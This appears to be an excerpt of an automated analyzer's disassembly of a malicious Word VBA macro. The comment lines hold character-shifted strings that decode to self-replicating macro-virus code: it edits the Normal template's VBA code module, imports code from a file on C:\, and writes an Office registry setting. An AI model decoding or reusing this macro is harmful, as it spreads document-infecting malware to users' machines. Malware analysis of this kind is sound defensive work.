' QuoteRem 0x0000 0x0054 "0'CFGJGVKBRDAYYUDTMPHNNNXZTPUJSLAHGBAKCIUGZOSVRRCUOVMMHKUUTACMFEGRXMDQQAWTQCKWBWNTCV"
' Line #113:
' QuoteRem 0x0000 0x0061 "6Vxotz&)72&(Lux&~&C&7&Zu&T4TuxsgrZksvrgzk4\HVxupkiz4\HIusvutktzy4Ozks.7/4IujkSuj{rk4Iu{tzUlRotky("
' Line #114:
' QuoteRem 0x0000 0x0005 "0'UGX"
' Line #115:
' QuoteRem 0x0000 0x0067 "3Sulqw#&4/#%Q1QrupdoWhpsodwh1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1GhohwhOlqhv#4%=#Sulqw#&4/#%Qh{w%"
' Line #116:
' QuoteRem 0x0000 0x0085 "3Sulqw#&4/#%Q1QrupdoWhpsodwh1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1DggIurpIloh#+%#)#Fku+67,#)#%F=_%#)#IQ#)#%1V\V%#)#Fku+67,#)#%,%"
' Line #117:
' QuoteRem 0x0000 0x0029 "8Xzqv|(+94(*V6Ixxtqki|qwv6Y}q|*B(Ktw{m(+9"
' Line #118:
' QuoteRem 0x0000 0x002A "1Pqfo!#D;]#!'!GO!'!#/TZT#!Gps!Pvuqvu!Bt!$2"
' Line #119:
' QuoteRem 0x0000 0x0017 "4Tvmrx$'50$GQ>$Gpswi$'5"
' Line #120:
' QuoteRem 0x0000 0x006F "5X~xyjr3Uwn{fyjUwtknqjXywnsl-''1%'MPJ^dHZWWJSYdZXJWaXtky|fwjaRnhwtxtkyaTkknhja'1%'Q~x%Pt{nhp'.%B%'Sfhmktqljwns'"
' Line #121:
' QuoteRem 0x0000 0x0007 "6Ktj&Ol"
' Line #122:
' QuoteRem 0x0000 0x005E "7.W\QQX\SQSR\IMXXIIZ[^QILXO^TTQ^IX]J]HVOIL_MZNKSQQZOULR_^\^_`YRa_K`_H]PVWV_YaTLOPN\\X[HMR]HU_U"
' Line #123:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.